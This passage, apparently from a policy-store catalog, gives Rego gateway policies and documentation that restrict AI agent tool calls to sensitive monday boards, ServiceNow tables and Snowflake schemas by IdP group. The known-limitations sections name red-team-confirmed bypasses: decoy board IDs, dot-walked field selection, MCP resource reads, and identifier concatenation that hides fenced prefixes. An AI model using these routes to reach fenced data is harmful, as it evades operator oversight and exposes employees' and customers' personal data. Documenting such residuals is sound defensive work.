companion. - **A decoy scope downgrades the account-wide `search` guard.** The unscoped-`search` deny fires only when a call carries **no** `boardIds`/`workspaceIds` filter. A caller can make an otherwise account-wide search count as "scoped" by adding any non-fenced (even nonexistent) board ID, e.g. `boardIds: [1]`. This is allowed — but because a scoped search only returns the boards it names, a decoy ID reaches only that decoy board's data, not any fenced board. The guard stops blind account-wide enumeration, not a search a caller deliberately narrows to boards they may access. - **Placeholder configuration.** Board IDs, workspace IDs, and group names (`hr`, `sales`, `infosec`) are placeholders — replace them with your deployment's real monday IDs and IdP group names at import time. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package monday.ingress.fence_sensitive_boards # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --------------------------------------------------------------------------- # Fence configuration — PLACEHOLDERS, replace at import time. # # monday sensitivity is a property of the board/workspace ID, not the tool. # Pin each sensitive board's ID (and the enclosing workspace ID) to the IdP # group required to touch it. Group names are compared case-insensitively # against the caller's `groups` claim. # monday board ID -> IdP group required to read/write/search it. fenced_boards := { "1111111111": "hr", # e.g. Recruiting / candidate pipeline board "2222222222": "sales", # e.g. CRM / deal board "3333333333": "infosec", # e.g. Security-incident tracker board } # monday workspace ID -> IdP group required to read/search inside it. fenced_workspaces := { "4444444444": "hr", # e.g. People-ops workspace "5555555555": "infosec", # e.g. Security workspace } # --------------------------------------------------------------------------- # Identity — read groups via object.get chains so a missing subject/claims/ # groups fails closed (no group -> no access to fenced targets). caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # True when the caller's groups claim (an array of strings) contains `group`. # A malformed (non-array) claim makes the iteration fail -> fail closed. caller_has_group(group) if { some g in caller_groups lower(g) == lower(group) } # Every distinct group referenced by the fence maps. A caller holding all of # them may run unscoped account-wide searches (they could reach any board). fence_groups contains group if { some _, group in fenced_boards } fence_groups contains group if { some _, group in fenced_workspaces } privileged_search_caller if { every group in fence_groups { caller_has_group(group) } } # --------------------------------------------------------------------------- # Tool matching. The gateway prefixes tool names with the configured MCP # server name (separator not standardized), so match the exact name or a # `-`/`_`-separated suffix, case-insensitively. Verify the exact names your # gateway sends with the dump-input debug technique. tool_name := lower(object.get(object.get(input, "resource", {}), "name", "")) tool_matches(suffix) if { tool_name == suffix } tool_matches(suffix) if { endswith(tool_name, sprintf("-%s", [suffix])) } tool_matches(suffix) if { endswith(tool_name, sprintf("_%s", [suffix])) } # Board-scoped reads and writes (scope arrives on boardId / boardIds[] / # workspaceIds[]). is_board_scope_tool if tool_matches("get_board_items_page") is_board_scope_tool if tool_matches("get_full_board_data") is_board_scope_tool if tool_matches("board_insights") # get_updates returns item comments/updates (free-text, the richest PII surface # on a board) and get_board_activity returns the board's change log; both are # scoped by `boardId` in the monday schema, so a caller denied # get_board_items_page could otherwise read the same fenced board's content # through them. Fence them the same way. (Arg-shape unverified — see Known # limitations; if either omits boardId the call passes through untouched.) is_board_scope_tool if tool_matches("get_updates") is_board_scope_tool if tool_matches("get_board_activity") is_board_scope_tool if tool_matches("read_docs") is_board_scope_tool if tool_matches("fetch_file_content") is_board_scope_tool if tool_matches("create_item") # Batch create. Distinct suffix from `create_item`, so it must be matched # explicitly or the write fence is bypassable by creating items in bulk. is_board_scope_tool if tool_matches("create_items") is_board_scope_tool if tool_matches("change_item_column_values") # Community sakce/mcp-server-monday board-scoped tools. Their suffixes do NOT # overlap the official names, so suffix matching alone misses them: the sakce # write-update tool is `monday_update_item` (verified boardId/itemId/columnValues # args; coarser equivalent of official change_item_column_values) and its # board-content read is `monday_list_items_in_groups` (takes a boardId). Match # both so a sakce deployment's fenced-board write/read is not a free bypass. # (list_items_in_groups arg shape is unverified — if it omits boardId the call # passes through untouched, same posture as get_updates. sakce item-id-scoped # tools — get_items_by_id, get_item_updates, list_subitems_in_items, # create_update — carry no boardId and cannot be fenced statelessly; see Known # limitations.) is_board_scope_tool if tool_matches("update_item") is_board_scope_tool if tool_matches("list_items_in_groups") # Account-wide discovery surface. is_search_tool if tool_matches("search") # Any tool this policy inspects. is_fenced_scope_tool if is_board_scope_tool is_fenced_scope_tool if is_search_tool # --------------------------------------------------------------------------- # Argument extraction — object.get everywhere; monday IDs may arrive as # numbers or strings, so normalize both to a trimmed string. args := object.get(object.get(input, "payload", {}), "args", {}) to_id(x) := trim_space(x) if is_string(x) to_id(x) := sprintf("%v", [x]) if is_number(x) # Requested board IDs: scalar `boardId` plus a `boardIds[]` array (checked on # every inspected tool defensively). requested_board_ids contains id if { id := to_id(object.get(args, "boardId", "")) id != "" } requested_board_ids contains id if { some raw in object.get(args, "boardIds", []) id := to_id(raw) id != "" } # Batch tools (e.g. create_items) may carry a per-item boardId inside an # `items[]` array rather than a top-level `boardId`. Pull those too so a bulk # write cannot slip a fenced board past the top-level scalar check. `items` # schema for create_items is unverified — see Known limitations. requested_board_ids contains id if { some item in object.get(args, "items", []) id := to_id(object.get(item, "boardId", "")) id != "" } # Requested workspace IDs: a `workspaceIds[]` array. requested_workspace_ids contains id if { some raw in object.get(args, "workspaceIds", []) id := to_id(raw) id != "" } # For search, "scoped" means at least one board or workspace filter is present. search_scope_count := count(requested_board_ids) + count(requested_workspace_ids) # --------------------------------------------------------------------------- # Fence checks. blocked_board if { some id in requested_board_ids group := object.get(fenced_boards, id, "") group != "" not caller_has_group(group) } blocked_workspace if { some id in requested_workspace_ids group := object.get(fenced_workspaces, id, "") group != "" not caller_has_group(group) } # --------------------------------------------------------------------------- # Allow rules. # Any tool this policy does not inspect passes through untouched. allow if { not is_fenced_scope_tool } # Board-scoped reads/writes: allowed when no requested board/workspace ID is # fenced away from the caller (or none is fenced at all). allow if { is_board_scope_tool not blocked_board not blocked_workspace } # Scoped search: allowed when a board/workspace filter is present and none of # its IDs are fenced away from the caller. allow if { is_search_tool search_scope_count > 0 not blocked_board not blocked_workspace } # Unscoped (account-wide) search can surface content from any fenced board, so # it is reserved for callers holding every fenced group. allow if { is_search_tool search_scope_count == 0 privileged_search_caller } # --------------------------------------------------------------------------- # Deny reasons. reasons contains msg if { is_fenced_scope_tool some id in requested_board_ids group := object.get(fenced_boards, id, "") group != "" not caller_has_group(group) msg := sprintf("monday board %s is fenced as sensitive and requires the '%s' IdP group. Ask your monday admin for access, or contact InfoSec if this fence looks wrong.", [id, group]) } reasons contains msg if { is_fenced_scope_tool some id in requested_workspace_ids group := object.get(fenced_workspaces, id, "") group != "" not caller_has_group(group) msg := sprintf("monday workspace %s is fenced as sensitive and requires the '%s' IdP group. Ask your monday admin for access, or contact InfoSec if this fence looks wrong.", [id, group]) } reasons contains "Account-wide monday search is restricted while sensitive boards are fenced. Re-run the search with boardIds or workspaceIds scoped to boards you may access, or ask your monday admin for the fenced groups." if { is_search_tool search_scope_count == 0 not privileged_search_caller } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Sensitive ServiceNow Tables URL: https://www.intentbasedpolicy.com/policies/servicenow/fence-sensitive-tables App(s): servicenow | Direction: ingress | Bundles: soc2, hipaa, pci-dss, gdpr-ccpa | Package: servicenow.ingress.fence_sensitive_tables | Published: 2026-07-12 | Tags: servicenow, fence-sensitive-tables, pii, ingress, soc2, hipaa, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/servicenow/fence-sensitive-tables/policy.md # servicenow / fence-sensitive-tables **Direction:** ingress (`tool_pre_invoke`) **Default:** deny on a sensitive, ungrouped table; allow otherwise **Package:** `servicenow.ingress.fence_sensitive_tables` ## What it does Fences off the most sensitive ServiceNow tables from two routes that reach them: 1. **The generic Table-API tools** from the michaelbuckner server — `perform_query`, `search_records`, `get_record`, and `natural_language_search`. These take a **table name** argument and reach *any* table the underlying credential can read (`sys_user`, `sn_hr_core_*`, `cmdb_ci*`, custom PII/payroll tables), not just incidents. The policy denies the call when the requested table is on the sensitive list **unless** the caller's IdP groups include the table's owner group. 2. **The fixed-vocabulary user-directory reads** from the echelon-ai-labs server — `list_users` and `get_user`. These are the named route to the same `sys_user` PII (names, emails, phones, manager chains) that a generic `perform_query` on `sys_user` would return, so they are gated behind the same groups. Closing the generic route while leaving the named route open would be a trivial bypass. The sensitive-table mapping is: | Table (case-insensitive) | Owner group(s) that may read it | |---|---| | `sys_user` (exact) | `hr` **or** `infosec` | | `sn_hr_core_*` (prefix — HRSD case tables: health/leave/comp) | `hr` | | `cmdb_ci*` (prefix — CMDB configuration items) | `infosec` | A caller in `hr` may read HR case tables and `sys_user`; a caller in `infosec` may read CMDB and `sys_user`; neither may read the other's tables. `list_users`/`get_user` require `hr` **or** `infosec` (they surface `sys_user`). The check runs at ingress, before the call reaches the ServiceNow MCP server, so a denied read never executes and no sensitive row is returned. ## Fail-closed on an uninspectable query A generic Table-API call whose `table` argument is **missing or empty** is **denied**, not allowed. Without a table name the query cannot be scoped, so there is no way to prove it does not touch a sensitive table — the safe default is to reject it and ask the caller to name the table explicitly. ## Pin the sensitive-table list to YOUR instance at import time The shipped `sensitive_table_groups` / `sensitive_prefix_groups` constants are a **documented starter set** covering the standard high-risk tables (`sys_user`, `sn_hr_core_*`, `cmdb_ci*`). They are not a complete inventory of *your* sensitive data. **At import time, extend the constants with the custom PII, payroll, and regulated tables your instance holds** (e.g. `u_payroll_*`, `u_ssn_vault`, `sn_hr_core_*` siblings, finance tables) and map each to the group that owns it. ## Compliance alignment - **SOC 2 C1.1** — supports identifying and protecting confidential information by keeping sensitive tables (workforce, CMDB) behind owner groups; **P4.1** — supports limiting personal-information use to the identified purpose by restricting who may pull `sys_user` PII over the agent channel. - **HIPAA §164.502(b) / §164.514(d)** — supports the minimum-necessary and role-based-limit standards by gating HRSD case tables (`sn_hr_core_*`, which can hold health/leave data) to the `hr` group; **§164.308(a)(4)** — supports information-access management by tying table access to IdP group membership; **§164.522(a)** — supports agreed-to access restrictions as an enforceable predicate on the MCP path. - **PCI DSS 7.2.6** — supports restricting programmatic query access to stored data by role: the generic Table-API tools are exactly the programmatic-query surface, and this policy binds them to owner groups. - **GDPR Art. 9** — supports restricting access to special-category data (HR/health tables) on the agent channel; **§1798.121 (CPRA)** — supports the right to limit use of sensitive personal information by fencing `sys_user` and HR tables; **Art. 5(1)(b)** — supports purpose limitation by denying broad, unscoped table reads. ## Tool name matching The DTwo gateway prefixes tool names with the configured MCP server name (e.g. `servicenow-mcp-perform_query`), and that prefix is not standardized, so the policy matches by **suffix** on `lower(input.resource.name)`: - Generic Table-API (any table arg): `*perform_query`, `*search_records`, `*get_record`, `*natural_language_search` - User directory: `*list_users`, `*get_user` Suffix matching covers the two big community servers (echelon-ai-labs and michaelbuckner both use `verb_noun` snake_case). If you run a server that uses a different convention (e.g. LokiMCPUniverse's `noun_verb`), add its suffixes. Verify the exact names your gateway sends with the dump-input debug technique before relying on this in production. ## Argument shape - Generic Table-API tools read the target table from `input.payload.args.table` (verified for the michaelbuckner `perform_query`/`search_records`/`get_record` README shape). The value is lowercased **and whitespace-trimmed** (`trim_space`) before matching, so a `"sys_user\n"` / `"sys_user "` variant that ServiceNow might still resolve cannot slip past the exact/prefix match. Payload/args are read through `object.get` chains, so a call with no `payload` or no `args` at all is treated as a missing-table call and fails closed for the generic tools. - Caller groups are read from `input.subject.claims.groups` (an array), lowercased before comparison. ## Examples ### Allowed — non-sensitive table ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-perform_query", "type": "tool" }, "payload": { "name": "servicenow-mcp-perform_query", "args": { "table": "incident", "query": "active=true" } } } } ``` `allow = true`, no reason. ### Allowed — sensitive table, caller in owner group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-get_record", "type": "tool" }, "subject": { "claims": { "groups": ["infosec"] } }, "payload": { "name": "servicenow-mcp-get_record", "args": { "table": "cmdb_ci_server", "sys_id": "abc123" } } } } ``` `allow = true` — `infosec` owns CMDB. ### Denied — sensitive table, no matching group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-perform_query", "type": "tool" }, "subject": { "claims": { "groups": ["service-desk"] } }, "payload": { "name": "servicenow-mcp-perform_query", "args": { "table": "sys_user", "query": "active=true" } } } } ``` `allow = false`, `reason = "Access to the ServiceNow table 'sys_user' is restricted to the hr, infosec group(s). Narrow your query to a non-sensitive table, or request membership in one of those groups."` ### Denied — user-directory read without a group ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "servicenow-mcp-list_users", "type": "tool" }, "subject": { "claims": { "groups": [] } }, "payload": { "name": "servicenow-mcp-list_users", "args": { "limit": 50 } } } } ``` `allow = false` — `list_users` surfaces `sys_user` PII. ## Composition This policy is single-purpose (scope fencing). Useful companions on the same ServiceNow gateway: - [`servicenow/default-deny-unknown-tools`](../default-deny-unknown-tools/policy.md) — allowlist the audited tool surface so a renamed/new table tool cannot slip past this suffix match. - An **egress PII-redaction** policy on `list_incidents` / `get_record` / `search_records` / `list_users` responses, so any `sys_user`-shaped PII that leaks through a permitted-but-broad read is masked for non-HR/security callers (defense in depth against this policy's residual bypasses). ## Known limitations - **`natural_language_search` argument shape is unverified.** The michaelbuckner README documents the tool but not its argument keys. This policy treats it as a generic Table-API tool that reads a `table` argument; **if it does not carry a `table` argument it fails closed (denied)** under the missing-table rule, because an NL query whose target table cannot be read is uninspectable and cannot be proven safe. Confirm the real argument shape with the dump-input technique; if the tool exposes the table under a different key (or infers it server-side), update `table_arg` / the missing-table handling accordingly. As shipped, `natural_language_search` is effectively blocked unless it carries an inspectable `table` argument. - **Group names are placeholders — replace `hr` and `infosec` with your IdP's group names at import time.** They are read from `input.subject.claims.groups`; if your IdP emits groups under a different claim (e.g. a namespaced `https://acme.com/groups`) or a non-array shape, adjust `caller_groups`. If the gateway has no IdP configured, `groups` is absent and every sensitive read fails closed. - **Sensitive list is not exhaustive.** Only `sys_user`, `sn_hr_core_*`, and `cmdb_ci*` ship by default. Custom PII/payroll tables (`u_*`) are not fenced until you add them to the constants — see "Pin the sensitive-table list" above. - **`sys_user` is matched exactly, so its sibling `sys_user_*` tables are not fenced.** The mapping keys `sys_user` as an exact name (not a prefix), which is deliberate — the crown-jewel contact PII (names, emails, phones, manager chains) lives in `sys_user` itself. But the standard `sys_user_*` family holds related workforce identity and access data that some instances treat as equally sensitive: `sys_user_group`, `sys_user_grmember` (group membership — ACL reconnaissance), `sys_user_role`, `sys_user_has_role`, and `sys_user_preference`. These are **not** on the sensitive list, so an ungrouped caller can read them through `perform_query`/`get_record`/ `search_records`. If your instance treats the family as sensitive, add `"sys_user"` to `sensitive_prefix_groups` (mapped to `{"hr", "infosec"}`) to fence the whole family, or list specific siblings in `sensitive_table_groups`. Prefixing `sys_user` will also fence benign lookups some service-desk workflows rely on (e.g. reading `sys_user_group` for ticket routing), so choose per your instance. (Red-team confirmed: `perform_query` on `sys_user_grmember` by an ungrouped caller is allowed as shipped.) - **Row-level scoping is coarse.** The policy fences by table name, not by row. A caller in `hr` who may read `sys_user` can read *all* of it; use an egress redaction policy if you need per-field or per-row limits. - **Dot-walk / field-selection exfiltration through a permitted table is not caught.** A `perform_query`/`get_record` on an allowed table (e.g. `incident`) can pull referenced `sys_user` fields with a dot-walked query or field list (`sysparm_fields=caller_id.email,caller_id.phone`, `caller_id.user_name=…`). The policy fences on the *target* table name only; it cannot see PII columns reached by reference. This is the primary residual — pair the egress PII-redaction companion below so any `sys_user`-shaped data that comes back through a permitted read is masked for non-HR/security callers. (Red-team confirmed: `table:"incident"` with a `caller_id.email` field selection is allowed.) - **The michaelbuckner server also exposes tables as MCP _resources_ (`servicenow://tables/{table}`), not just tools.** This policy matches tool suffixes on `tool_pre_invoke`; a resource read of `servicenow://tables/sys_user` does **not** end with a guarded suffix and passes through. If your gateway proxies MCP resource reads through policy, add a companion rule that fences resource URIs, or disable the resource surface on the server. (Red-team confirmed: a `servicenow://tables/sys_user` resource read is allowed by this policy.) - **Other reach paths exist.** ServiceNow PII is also reachable through incident `description`/`comment` bodies, HRSD Now Assist skills on the official server, and Knowledge Graph queries — none of which take a `table` argument. This policy only fences the generic Table-API and the named user-directory reads; compose the egress redaction companion for the rest. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package servicenow.ingress.fence_sensitive_tables # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --- Tool surfaces we guard (matched by suffix for gateway-prefix portability) --- # Generic Table-API tools (michaelbuckner). Each takes a `table` argument and # can reach ANY table the credential can read. generic_table_tool_suffixes := { "perform_query", "search_records", "get_record", "natural_language_search", } # Fixed-vocabulary user-directory reads (echelon-ai-labs). These surface the # same sys_user PII, so they are gated behind the same groups as sys_user. user_directory_tool_suffixes := { "list_users", "get_user", } # --- Sensitive-table mapping (documented starter set; tenants EXTEND these) --- # Exact sensitive table names -> the set of groups permitted to read them. sensitive_table_groups := { "sys_user": {"hr", "infosec"}, } # Sensitive table-name PREFIXES -> the set of groups permitted to read them. # `sn_hr_core_` = HRSD case tables (health/leave/comp); `cmdb_ci` = CMDB items. sensitive_prefix_groups := { "sn_hr_core_": {"hr"}, "cmdb_ci": {"infosec"}, } # Groups permitted to use the named user-directory reads (they surface sys_user). user_directory_groups := {"hr", "infosec"} # --- Tool classification --- is_generic_table_tool if { some suffix in generic_table_tool_suffixes endswith(lower(input.resource.name), suffix) } is_user_directory_tool if { some suffix in user_directory_tool_suffixes endswith(lower(input.resource.name), suffix) } # --- Identity: caller's IdP groups, lowercased. Missing claims -> empty set. --- claims := object.get(object.get(input, "subject", {}), "claims", {}) caller_groups := {lower(g) | some g in object.get(claims, "groups", [])} # --- Requested table (case-insensitive, whitespace-trimmed) --- # Safe args access: missing payload/args -> {} (no direct index of input.payload.args). args := object.get(object.get(input, "payload", {}), "args", {}) # trim_space closes a whitespace-evasion bypass: "sys_user\n" / "sys_user " # would otherwise miss the exact/prefix match yet may still resolve server-side. table_arg := trim_space(lower(object.get(args, "table", ""))) table_arg_present if { table_arg != "" } # The union of every owner-group set that matches the requested table # (exact match on sys_user, or prefix match on sn_hr_core_/cmdb_ci). table_required_groups := union(matched_group_sets) matched_group_sets := {groups | some name, groups in sensitive_table_groups name == table_arg } | {groups | some prefix, groups in sensitive_prefix_groups startswith(table_arg, prefix) } table_is_sensitive if { count(table_required_groups) > 0 } caller_authorized_for_table if { some g in table_required_groups caller_groups[g] } caller_authorized_for_directory if { some g in user_directory_groups caller_groups[g] } # --- Allow rules --- # Any tool we don't guard passes through untouched. allow if { not is_generic_table_tool not is_user_directory_tool } # Generic Table-API call on a non-sensitive table (with a table named). allow if { is_generic_table_tool table_arg_present not table_is_sensitive } # Generic Table-API call on a sensitive table by an owner-group member. allow if { is_generic_table_tool table_arg_present table_is_sensitive caller_authorized_for_table } # Named user-directory read by an hr/infosec member. allow if { is_user_directory_tool caller_authorized_for_directory } # --- Deny reasons --- # Fail closed: generic tool with no table argument cannot be scoped. reasons contains sprintf("The ServiceNow tool '%s' was called without a 'table' argument, so the query cannot be scoped to a non-sensitive table. Name the specific table you are authorized to read.", [lower(input.resource.name)]) if { is_generic_table_tool not table_arg_present } # Sensitive table, caller lacks the owner group. reasons contains sprintf("Access to the ServiceNow table '%s' is restricted to the %s group(s). Narrow your query to a non-sensitive table, or request membership in one of those groups.", [table_arg, concat(", ", sort([g | some g in table_required_groups]))]) if { is_generic_table_tool table_arg_present table_is_sensitive not caller_authorized_for_table } # Named user-directory read, caller lacks hr/infosec. reasons contains "Access to the ServiceNow user directory (the sys_user table: names, emails, phones, manager chains) is restricted to the hr or infosec group. Narrow your query to a non-sensitive lookup, or request membership in one of those groups." if { is_user_directory_tool not caller_authorized_for_directory } reason := joined if { count(reasons) > 0 reason_list := sort([r | some r in reasons]) joined := concat("; ", reason_list) } ``` ### Fence Snowflake Sensitive Schemas by Data Domain URL: https://www.intentbasedpolicy.com/policies/snowflake/fence-sensitive-schemas App(s): snowflake | Direction: ingress | Bundles: soc2, hipaa, pci-dss, gdpr-ccpa | Package: snowflake.ingress.fence_sensitive_schemas | Published: 2026-07-12 | Tags: snowflake, fence-sensitive-scopes, ingress, soc2, hipaa, pci-dss, gdpr-ccpa Source: https://github.com/dtwoai/policy-store/blob/main/apps/snowflake/fence-sensitive-schemas/policy.md # snowflake / fence-sensitive-schemas **Direction:** ingress (`tool_pre_invoke`) **Default:** deny sensitive-domain references for callers outside the mapped group, allow otherwise **Package:** `snowflake.ingress.fence_sensitive_schemas` ## What it does Fences customer-designated sensitive data domains inside a Snowflake warehouse by inspecting the SQL text the agent is about to run — not by tool name, which on Snowflake carries no stable semantics (see Tool name matching). The policy carries one placeholder map, `sensitive_domains`, pairing a **schema/table name prefix** with the IdP group required to touch that domain: - `PII_` → `pii-cleared` - `PHI_` → `phi-cleared` - `HR_` → `hr` - `FINANCE_` → `finance` It reads two argument shapes and applies two independent controls at ingress: - **Domain fence (group-gated).** It scans the SQL `query` (and `statement`) argument and the natural-language `message` argument (`CORTEX_ANALYST_MESSAGE`, best-effort) for any identifier beginning with a fenced prefix (e.g. `PHI_LABRESULTS`, `ANALYTICS.FINANCE_LEDGER`). If a fenced prefix is referenced and the caller's `input.subject.claims.groups` does **not** include the mapped group, the call is denied. - **`SELECT *` fence (outright).** If the SQL text performs a star-select (`SELECT *`, `SELECT DISTINCT *`, `SELECT ALL *`, `SELECT TOP *`, the no-space `SELECT*`, or a table-qualified `SELECT c.*`) **and** references any fenced prefix, the call is denied for **everyone** — including cleared callers — forcing an explicit column list. This makes the agent state its intent and stops it from sweeping every column of a regulated table in a single call. Group membership is read through `object.get` chains and fails closed: a missing, empty, or malformed `subject`/`claims`/`groups` never grants a fenced domain (no group → not exempt). Calls carrying no `query`/`statement`/`message` argument (e.g. `list_databases`, `describe_table`) are not inspected and pass through untouched. ## Compliance alignment - **HIPAA §164.502(b)/§164.514(d)** — supports the minimum-necessary and role-based-limits standard: agent access to a PHI-bearing domain is gated to its mapped group on the MCP path, and the `SELECT *` fence forces column-level intent so a call cannot pull more PHI than named; **§164.308(a)(4)** — supports information access management by authorizing sensitive-domain access via IdP group; **§164.522(a)** — the domain map can encode agreed-to restrictions on specific regulated schemas. - **PCI DSS 7.2.6** — supports restricting programmatic query access to stored cardholder data by role: fence the `FINANCE_`/CHD prefix so only the mapped group can query it through an agent. - **SOC 2 C1.1** — supports identification and protection of confidential information by gating agent SQL against designated confidential domains; **P4.1** — supports limiting personal- information use to identified purposes by keeping PI-bearing schemas behind role fences. - **GDPR Art. 9** — supports special-category protection by fencing schemas holding health, HR, or other Art. 9 data; **CPRA §1798.121** — supports the right to limit use of sensitive personal information by fencing SPI schemas to a minimal group; **GDPR Art. 5(1)(b)** — supports purpose limitation on the agent channel. ## Why ingress and least-privilege This is the minimum-necessary / least-privilege control for the warehouse's data plane: it stops a regulated-schema read before it executes, rather than masking a response the query already produced. It pairs with an **egress redaction backstop** (see Composition) for defense in depth — because which specific tables hold regulated data is not knowable from the wire, egress redaction catches leaks from schemas an operator has not yet pinned here. ## Tool name matching **This policy does not match tool names.** Snowflake MCP servers expose the dangerous surface as a SQL string inside a single argument, and there are no stable canonical tool names: the managed server's tools are admin-named (semantics live in a `type` that is not visible on the wire), the Labs server derives Cortex tool names from config, and each community/Labs SQL tool takes the SQL as an argument. Matching tool names would therefore be neither portable nor sound. Instead the policy inspects the **arguments** every SQL/analyst tool uses: - SQL execution/read tools (`run_snowflake_query`, `read_query`, `write_query`, `create_table`, and the managed server's SQL-execution tool) take the SQL text under `query` (a `statement` key is also checked defensively). - Cortex Analyst tools (`CORTEX_ANALYST_MESSAGE`-typed) take a natural-language `message`. Any call carrying none of these arguments is not inspected. Verify your server's argument names with the dump-input debug technique before relying on this in production. ## Argument shape - `query` / `statement` — the SQL text (string). Scanned for fenced prefixes and for `SELECT *`. - `message` — the Cortex Analyst natural-language string. Scanned for fenced prefixes only (best-effort; a star-select has no meaning in NL). ## Examples ### Allowed — cleared caller, explicit columns ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-run_snowflake_query", "type": "tool" }, "subject": { "sub": "google-apps|nurse@example.com", "claims": { "groups": ["phi-cleared"] } }, "payload": { "name": "snowflake-run_snowflake_query", "args": { "query": "SELECT patient_id, visit_date FROM PHI_RECORDS WHERE patient_id = 42" } } } } ``` `allow = true`, no reason. ### Denied — uncleared caller references a fenced domain ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-run_snowflake_query", "type": "tool" }, "subject": { "sub": "google-apps|dev@example.com", "claims": { "groups": ["engineering"] } }, "payload": { "name": "snowflake-run_snowflake_query", "args": { "query": "SELECT customer_id, email FROM PII_CUSTOMERS WHERE id = 5" } } } } ``` `allow = false`, `reason = "Access to the 'PII_' sensitive data domain requires the 'pii-cleared' IdP group. (...)"`. ### Denied — `SELECT *` on a fenced schema, even for a cleared caller ```jsonc { "input": { "action": "tool_pre_invoke", "resource": { "name": "snowflake-run_snowflake_query", "type": "tool" }, "subject": { "sub": "google-apps|analyst@example.com", "claims": { "groups": ["finance"] } }, "payload": { "name": "snowflake-run_snowflake_query", "args": { "query": "SELECT * FROM FINANCE_LEDGER" } } } } ``` `allow = false`, `reason = "SELECT * against a fenced sensitive schema is not allowed (...)"`. ## Composition This policy is single-purpose. Curated companions for the Snowflake data plane: - **`guard-warehouse-sql` (ingress)** — deny DDL/DML/`GRANT` and bulk-export constructs (`COPY INTO @`, `CREATE STAGE`) so a fenced-out caller cannot pivot to exfiltration. - **`redact-pii-egress` (egress)** — redact SSN/PAN/email patterns from returned rows: the defense-in-depth backstop for regulated tables that have not yet been pinned into `sensitive_domains`, and for Cortex results this policy inspected only best-effort. - **`default-deny-unknown-tools` (ingress)** — allowlist the audited Snowflake tool names so an admin-renamed or newly-added tool cannot introduce an uninspected SQL path. ## Known limitations - **Placeholder configuration.** The prefixes (`PII_`, `PHI_`, `HR_`, `FINANCE_`) and group names (`pii-cleared`, `phi-cleared`, `hr`, `finance`) are placeholders — replace them with your real schema/table naming convention and your IdP's group-claim values at import time. Which tables hold regulated data is **not** knowable from the wire (per the Snowflake landscape note), so pinning the naming convention is mandatory for this policy to do anything. - **Convention-dependent, not ancestry-aware.** Detection keys on a prefix at an identifier boundary (`\bPREFIX`), so it fences a regulated domain only when its tables/schemas actually carry the pinned prefix. A regulated table that does not follow the naming convention (`CUSTOMERS_PII`, `patient_data`) is **not** fenced. Enforce the naming convention in Snowflake, and rely on the egress redaction backstop for the residual. - **`SELECT *` detection is regex-based.** It catches `SELECT *`, `SELECT DISTINCT *`, `SELECT ALL *`, `SELECT TOP *` (and combinations of those leading set-quantifier / row-limit tokens), table-qualified `SELECT alias.*`, and the no-space `SELECT*` form. Exotic forms still evade it: a `*` produced by a view, a comment or hint between `SELECT` and `*` (`SELECT /*x*/ * FROM ...`), or every column enumerated by name (arithmetic `col * 2` is *not* flagged and is not a leak). The domain group-fence still applies to uncleared callers regardless; only a **cleared** caller could evade the star-select fence, and the egress backstop remains. A `*` reference inside a string literal may cause a conservative (fail-safe) denial. - **Prefix detection can be evaded by identifier obfuscation.** Detection matches the literal fenced prefix at an identifier boundary in the wire text. A caller who constructs the identifier dynamically — e.g. Snowflake `IDENTIFIER('PII' || '_CUSTOMERS')` with the prefix split across concatenated string literals, or a variable/session bind — references the fenced table without the contiguous prefix ever appearing, so the domain fence does **not** fire and the call is allowed. This is a fundamental limit of wire-level SQL inspection. Pair with `guard-warehouse-sql` (to deny/scope dynamic-SQL constructs) and keep the egress redaction backstop in place; treat the ingress fence as one layer, not the sole control. - **`message` inspection is best-effort.** Cortex Analyst turns natural language into SQL server-side; the gateway sees only the NL `message`. This policy fences an NL request that literally names a fenced prefix, but cannot see the SQL the semantic model ultimately generates. Deny or tightly scope Cortex Analyst/Agent tools (see `default-deny-unknown-tools`) if that residual is unacceptable, and keep the egress redaction backstop in place. - **Composite/opaque tools not reached.** `CORTEX_AGENT_RUN`-typed tools execute multi-step plans server-side; the gateway sees one opaque call and per-statement inspection cannot reach inside it. Deny agent tools and force the client to use granular, inspectable tools. - **`groups` claim must be an array of strings.** A string-valued or otherwise malformed claim fails closed (fenced domains deny). If your IdP emits groups under a different claim name (e.g. a namespaced custom claim), update `caller_groups` in the Rego. > **Compliance note.** This policy supports alignment with the cited framework controls **on the MCP path only**. No policy or bundle makes an organization compliant with any framework; web-UI, native-API, and in-app access are outside the gateway's reach by design. Validate against your own compliance program before relying on it. ```rego package snowflake.ingress.fence_sensitive_schemas # Deny-by-default: only the explicit allow rules below permit the request. default allow := false # --------------------------------------------------------------------------- # Fence configuration — PLACEHOLDERS, replace at import time. # # Snowflake exposes no stable tool names and which tables hold regulated data # is not knowable from the wire, so this policy fences by a customer-pinned # schema/table NAME PREFIX -> the IdP group required to query that domain. # Prefixes are matched case-insensitively at an identifier boundary (\bPREFIX); # groups are compared case-insensitively against `subject.claims.groups`. sensitive_domains := { "PII_": "pii-cleared", # e.g. PII_CUSTOMERS, ANALYTICS.PII_PROFILES "PHI_": "phi-cleared", # e.g. PHI_RECORDS, PHI_LABRESULTS "HR_": "hr", # e.g. HR_EMPLOYEES, HR_COMP "FINANCE_": "finance", # e.g. FINANCE_LEDGER, FINANCE_PAYROLL } # --------------------------------------------------------------------------- # Identity — read groups via object.get chains so a missing subject/claims/ # groups fails closed (no group -> no access to a fenced domain). caller_groups := object.get(object.get(object.get(input, "subject", {}), "claims", {}), "groups", []) # True when the caller's groups claim (an array of strings) contains `group`. # A malformed (non-array) claim 